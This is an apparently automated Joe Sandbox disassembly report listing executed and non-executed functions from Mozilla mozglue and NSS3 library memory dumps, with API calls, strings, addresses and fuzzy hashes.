Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C6435A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6CF688,00001000), ref: 6C6435D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6435E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6435FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C64363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C64369F
__aulldiv.LIBCMT ref: 6C6436E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C643773
EnterCriticalSection.KERNEL32(6C6CF688), ref: 6C64377E
LeaveCriticalSection.KERNEL32(6C6CF688), ref: 6C6437BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6437C4
EnterCriticalSection.KERNEL32(6C6CF688), ref: 6C6437CB
LeaveCriticalSection.KERNEL32(6C6CF688), ref: 6C643801
__aulldiv.LIBCMT ref: 6C643883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C643902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C643918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C64394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C6435DB
GTC, xrefs: 6C643912
GenuntelineI, xrefs: 6C643639
AuthcAMDenti, xrefs: 6C643946
QPC, xrefs: 6C6438FC

Memory Dump Source

Source File: 00000000.00000002.2580841293.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2580797944.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2580964214.000000006C6BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2581022195.000000006C6CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2581050850.000000006C6D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: b70fcd4d8b21de6663a994f61d9772c0e6bb65a1e57d45cd6a9aa733ee7d5fff
Instruction ID: 22f0228e289a3ab49a087c57b93734ea8a374ba50b11e6f1d2c8c918890a7818
Opcode Fuzzy Hash: b70fcd4d8b21de6663a994f61d9772c0e6bb65a1e57d45cd6a9aa733ee7d5fff
Instruction Fuzzy Hash: 52B1B271B083109FDB08DF2AC49565ABBF5EB8A704F14C93EE899D3750D7349A018B9E

Function 6C65C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C65C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C65C969
GetSystemInfo.KERNEL32(?), ref: 6C65C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C65C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C65C9E2

Memory Dump Source

Source File: 00000000.00000002.2580841293.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2580797944.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2580964214.000000006C6BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2581022195.000000006C6CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2581050850.000000006C6D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 9d98853bfd446a1e524ea0378fb2131f05ab827a18d065d100a3bbd93dcf27b0
Instruction ID: c98ffd7a96004471f613d98777d1863b52f7e9bee224c29abf004df83d6a9c24
Opcode Fuzzy Hash: 9d98853bfd446a1e524ea0378fb2131f05ab827a18d065d100a3bbd93dcf27b0
Instruction Fuzzy Hash: C921F9717412147BDB14AA25CCC4BAE73B9AB8B744FA0051AF907E7B80DB706E1087AD

Function 6C643060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C643095

Part of subcall function 6C6435A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6CF688,00001000), ref: 6C6435D5
Part of subcall function 6C6435A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6435E0
Part of subcall function 6C6435A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6435FD
Part of subcall function 6C6435A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C64363F
Part of subcall function 6C6435A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C64369F
Part of subcall function 6C6435A0: __aulldiv.LIBCMT ref: 6C6436E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C64309F

Part of subcall function 6C665B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6656EE,?,00000001), ref: 6C665B85
Part of subcall function 6C665B50: EnterCriticalSection.KERNEL32(6C6CF688,?,?,?,6C6656EE,?,00000001), ref: 6C665B90
Part of subcall function 6C665B50: LeaveCriticalSection.KERNEL32(6C6CF688,?,?,?,6C6656EE,?,00000001), ref: 6C665BD8
Part of subcall function 6C665B50: GetTickCount64.KERNEL32 ref: 6C665BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6430BE

Part of subcall function 6C6430F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C643127
Part of subcall function 6C6430F0: __aulldiv.LIBCMT ref: 6C643140

Part of subcall function 6C67AB2A: __onexit.LIBCMT ref: 6C67AB30

Memory Dump Source

Source File: 00000000.00000002.2580841293.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2580797944.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2580964214.000000006C6BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2581022195.000000006C6CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2581050850.000000006C6D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 90bb19d596cd19b9e109a1c1e37fe8f3494d5e05090064cf039e43480f1316a7
Instruction ID: 0a3d4c530006326cd036d0f6f8b144b86ba2e6d1524010d78cfd7b0507523151
Opcode Fuzzy Hash: 90bb19d596cd19b9e109a1c1e37fe8f3494d5e05090064cf039e43480f1316a7
Instruction Fuzzy Hash: 07F0F962E2074496CB10DF7788D11E67770AF6B114F105729E88457652FB20A3D883DF

Non-executed Functions

Function 6C770700 Relevance: 145.2, APIs: 96, Instructions: 1215threadmemorytimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C770747

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C770760

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C77078C

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C889AEC,?), ref: 6C7707A4

Part of subcall function 6C7BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8918D0,?), ref: 6C7BB095

PR_SetError.NSS3(FFFFE076,00000000), ref: 6C770932

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PR_GetCurrentThread.NSS3 ref: 6C7707B0

Part of subcall function 6C829BF0: TlsGetValue.KERNEL32(?,?,?,6C870A75), ref: 6C829C07

DER_GetInteger_Util.NSS3(-00000004), ref: 6C7707D4
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C77093D
PR_SetError.NSS3(FFFFE09D,00000000), ref: 6C770972
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C889D5C,?), ref: 6C770998
PR_GetCurrentThread.NSS3 ref: 6C7709A8
PR_SetError.NSS3(FFFFE081,00000000), ref: 6C7709C5
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C770A7A
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C889BEC,?), ref: 6C770AC2
PR_GetCurrentThread.NSS3 ref: 6C770AD2
CERT_ImportCerts.NSS3(?,0000000A,?,?,00000000,00000000,00000000,00000000), ref: 6C770B2B
PR_SetError.NSS3(FFFFE081,00000000), ref: 6C770B44
PORT_NewArena_Util.NSS3(00000800), ref: 6C770BAC
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6C889D08,?), ref: 6C770BCD
PR_GetCurrentThread.NSS3 ref: 6C770BDD
PR_SetError.NSS3(FFFFE081,00000000), ref: 6C770BFD
PR_SetError.NSS3(FFFFE07F,00000000), ref: 6C770C11
PR_SetError.NSS3(FFFFE073,00000000), ref: 6C770C76
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C770CF3
SECITEM_ArenaDupItem_Util.NSS3(00000000,?), ref: 6C770D1B
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,00000000), ref: 6C770D36
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C770D94
CERT_DestroyCertArray.NSS3(?,00000000), ref: 6C770DC3
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C770DE8
PR_GetCurrentThread.NSS3 ref: 6C770DFD
PR_SetError.NSS3(FFFFE090,00000000), ref: 6C770E22
SECITEM_CompareItem_Util.NSS3(00000047), ref: 6C770E5A
PR_SetError.NSS3(FFFFE07F,00000000), ref: 6C770E6F
CERT_IsCACert.NSS3(00000000,00000000), ref: 6C770E7F
PR_SetError.NSS3(FFFFE090,00000000), ref: 6C770EBC
PR_GetCurrentThread.NSS3 ref: 6C770F2E
PR_GetCurrentThread.NSS3 ref: 6C770F3C
PR_SetError.NSS3(FFFFE09D,00000000), ref: 6C770F51
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C770F5A
PR_GetCurrentThread.NSS3 ref: 6C770F7F
CERT_DestroyCertificate.NSS3 ref: 6C770F95
DER_GeneralizedTimeToTime_Util.NSS3(?,0000009F), ref: 6C770FE8
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C771060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C77107F
SECOID_FindOID_Util.NSS3(?), ref: 6C77108C
SECITEM_CompareItem_Util.NSS3(?,00000000), ref: 6C7710CB
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C7710F9

Part of subcall function 6C76F3F0: SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C76F453
Part of subcall function 6C76F3F0: SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C76F4A5
Part of subcall function 6C76F3F0: SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C76F4EA

SECITEM_CompareItem_Util.NSS3(?,00000000), ref: 6C7710DD
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C77110E
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6C77112A
CERT_DestroyCertificate.NSS3(00000000), ref: 6C771141
CERT_DestroyCertificate.NSS3(00000000), ref: 6C77114E
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C7711B7
SECITEM_CompareItem_Util.NSS3(00000047), ref: 6C771202
PR_SetError.NSS3(FFFFE07F,00000000), ref: 6C77121A
SECOID_FindOID_Util.NSS3(?), ref: 6C771226

Part of subcall function 6C7C07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C768298,?,?,?,6C75FCE5,?), ref: 6C7C07BF
Part of subcall function 6C7C07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7C07E6
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C081B
Part of subcall function 6C7C07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C0825

SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6C771268
PK11_HashBuf.NSS3(?,?,?,?), ref: 6C771285
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C771294
SECITEM_CompareItem_Util.NSS3(00000000,?), ref: 6C7712A7

Part of subcall function 6C7BFCB0: memcmp.VCRUNTIME140(?,8B0B74C0,04C6831E,?,00000000,?,6C764101,00000000,?,?,?,6C761666,?,?), ref: 6C7BFCF2

SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6C7713D1
PK11_HashBuf.NSS3(?,?,?,?), ref: 6C7713F5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C771408
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6C77143F
PK11_HashBuf.NSS3(?,?,?,?), ref: 6C77145A
SECITEM_CompareItem_Util.NSS3(00000000,?), ref: 6C771473
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C771480
SECITEM_AllocItem_Util.NSS3(00000000), ref: 6C7714C1
PK11_HashBuf.NSS3(?,?,?,?,?,00000000,00000000), ref: 6C7714DB
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000,00000000), ref: 6C7714EA
CERT_DestroyCertificate.NSS3(00000000), ref: 6C7714F9

Part of subcall function 6C7695B0: TlsGetValue.KERNEL32(00000000,?,6C7800D2,00000000), ref: 6C7695D2
Part of subcall function 6C7695B0: EnterCriticalSection.KERNEL32(?,?,?,6C7800D2,00000000), ref: 6C7695E7
Part of subcall function 6C7695B0: PR_Unlock.NSS3(?,?,?,?,6C7800D2,00000000), ref: 6C769605

SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C771522
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C77153B
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C77155B
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7712B4

Part of subcall function 6C7BFAB0: free.MOZGLUE(?,-00000001,?,?,6C75F673,00000000,00000000), ref: 6C7BFAC7

CERT_DecodeOidSequence.NSS3(?), ref: 6C7712EB
SECOID_FindOID_Util.NSS3(00000000), ref: 6C771306
PR_SetError.NSS3(FFFFE090,00000000), ref: 6C771331
free.MOZGLUE(?), ref: 6C771346
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C771357
CERT_FindCertIssuer.NSS3(?,?,?,0000000B), ref: 6C77137D
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C771570
PR_Now.NSS3 ref: 6C771588
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C7715D3
PR_Now.NSS3 ref: 6C771623
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6C77164F
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6C771662
PR_GetCurrentThread.NSS3 ref: 6C771678

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Compare$CurrentThread$ArenaZfree$DecodeDestroyHash$Arena_GeneralizedQuickTimeTime_Value$AllocAlloc_CertificateFindK11_$CertEqual_FreeItems$CriticalEnterLookupSectionTableUnlockfree$AllocateArrayCertsConstCopyImportInitInteger_IssuerLockPoolPublicSequencecallocmemcmpmemcpy
String ID:
API String ID: 782668047-0
Opcode ID: 22ad6a862e05a72e2977eb91948b3dc0cb9a976e5876e850fe040706340a03a8
Instruction ID: 347d792d9adad81172197f048496f41d3237badfb53db86b38e6aaaa459320b5
Opcode Fuzzy Hash: 22ad6a862e05a72e2977eb91948b3dc0cb9a976e5876e850fe040706340a03a8
Instruction Fuzzy Hash: A092D375A043459FEB20CF29CE48B5B77E4AF84348F14493CE89997B51E731E948CBA2

Function 6C776E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8C2120,6C777E60), ref: 6C776EBC
TlsGetValue.KERNEL32 ref: 6C776EDF
EnterCriticalSection.KERNEL32(?), ref: 6C776EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C776F25

Part of subcall function 6C74A900: TlsGetValue.KERNEL32(00000000,?,6C8C14E4,?,6C6E4DD9), ref: 6C74A90F
Part of subcall function 6C74A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C74A94F

PR_Unlock.NSS3 ref: 6C776F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C776FA9
TlsGetValue.KERNEL32 ref: 6C7770B4
EnterCriticalSection.KERNEL32(?), ref: 6C7770C8
PR_CallOnce.NSS3(6C8C24C0,6C7B7590), ref: 6C777104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C777117
SECOID_Init.NSS3 ref: 6C777128
PORT_Alloc_Util.NSS3(00000057), ref: 6C77714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C77717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7771A9
PR_NotifyAllCondVar.NSS3 ref: 6C7771CF
PR_Unlock.NSS3 ref: 6C7771DD
free.MOZGLUE(?), ref: 6C7771EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C777208
free.MOZGLUE(00000000), ref: 6C777221
free.MOZGLUE(00000001), ref: 6C777235
TlsGetValue.KERNEL32 ref: 6C77724A
EnterCriticalSection.KERNEL32(?), ref: 6C77725E
PR_NotifyCondVar.NSS3 ref: 6C777273
PR_Unlock.NSS3 ref: 6C777281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C777291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7772B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7772D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7772E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C777301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C777310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C777335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C777344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C777363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C777372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C8B0148,,defaultModDB,internalKeySlot), ref: 6C7774CC
free.MOZGLUE(00000000), ref: 6C777513
free.MOZGLUE(00000000), ref: 6C77751B
free.MOZGLUE(00000000), ref: 6C777528
free.MOZGLUE(00000000), ref: 6C77753C
free.MOZGLUE(00000000), ref: 6C777550
free.MOZGLUE(00000000), ref: 6C777561
free.MOZGLUE(00000000), ref: 6C777572
free.MOZGLUE(00000000), ref: 6C777583
free.MOZGLUE(00000000), ref: 6C777594
free.MOZGLUE(00000000), ref: 6C7775A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C7775BD
free.MOZGLUE(00000000), ref: 6C7775C8
free.MOZGLUE(00000000), ref: 6C7775F1
PR_NewLock.NSS3 ref: 6C777636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C777686
PR_NewLock.NSS3 ref: 6C7776A2

Part of subcall function 6C8298D0: calloc.MOZGLUE(00000001,00000084,6C750936,00000001,?,6C75102C), ref: 6C8298E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C7776B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C777707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C77771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C777731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C77774A
DeleteCriticalSection.KERNEL32(?), ref: 6C777770
free.MOZGLUE(?), ref: 6C777779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C77779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7777AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C7777C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7777DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C777821
PORT_Alloc_Util.NSS3(?), ref: 6C777837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C77785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C77786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C7778AC
free.MOZGLUE(00000000), ref: 6C7778BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C7778F3
free.MOZGLUE(00000000), ref: 6C7778FC
free.MOZGLUE(00000000), ref: 6C77791C

Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507AD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507CD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507D6
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6E204A), ref: 6C7507E4
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,6C6E204A), ref: 6C750864
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C750880
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,6C6E204A), ref: 6C7508CB
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508D7
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508FB

Strings

NSS Internal Module, xrefs: 6C7774A2, 6C7774C6
Spac, xrefs: 6C777389
rdb:, xrefs: 6C777744
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C7774C7
,defaultModDB,internalKeySlot, xrefs: 6C77748D, 6C7774AA
dll, xrefs: 6C77788E
kbi., xrefs: 6C777886
sql:, xrefs: 6C7776FE
extern:, xrefs: 6C77772B
dbm:, xrefs: 6C777716

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 41c0140a640738864626be63e986eea054718e0ccbf98c54f5d09e251560e3e8
Instruction ID: 5aebd0c8d9376feef31952ad3e68641e8343c790d39a7d8b94090876045efb25
Opcode Fuzzy Hash: 41c0140a640738864626be63e986eea054718e0ccbf98c54f5d09e251560e3e8
Instruction Fuzzy Hash: BF52D2B1E012099BEF328F64CE097AA7BB4EF0530CF144439ED19A6A41E775E954CBE1

Function 6C786D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C88A8EC,0000006C), ref: 6C786DC6
memcpy.VCRUNTIME140(?,6C88A958,0000006C), ref: 6C786DDB
memcpy.VCRUNTIME140(?,6C88A9C4,00000078), ref: 6C786DF1
memcpy.VCRUNTIME140(?,6C88AA3C,0000006C), ref: 6C786E06
memcpy.VCRUNTIME140(?,6C88AAA8,00000060), ref: 6C786E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C786E38

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C786E76
TlsGetValue.KERNEL32 ref: 6C78726F
EnterCriticalSection.KERNEL32(?), ref: 6C787283

Strings

!, xrefs: 6C787123

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
